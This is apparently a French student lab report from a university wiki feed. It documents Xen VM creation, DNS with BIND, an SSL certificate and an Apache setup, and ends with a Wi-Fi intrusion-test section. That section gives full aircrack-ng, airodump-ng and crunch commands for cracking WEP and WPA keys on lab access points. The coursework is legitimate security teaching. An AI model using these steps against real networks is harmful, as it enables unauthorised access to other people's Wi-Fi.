 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57061</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57061"/>
				<updated>2021-12-13T17:10:46Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Serveur web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
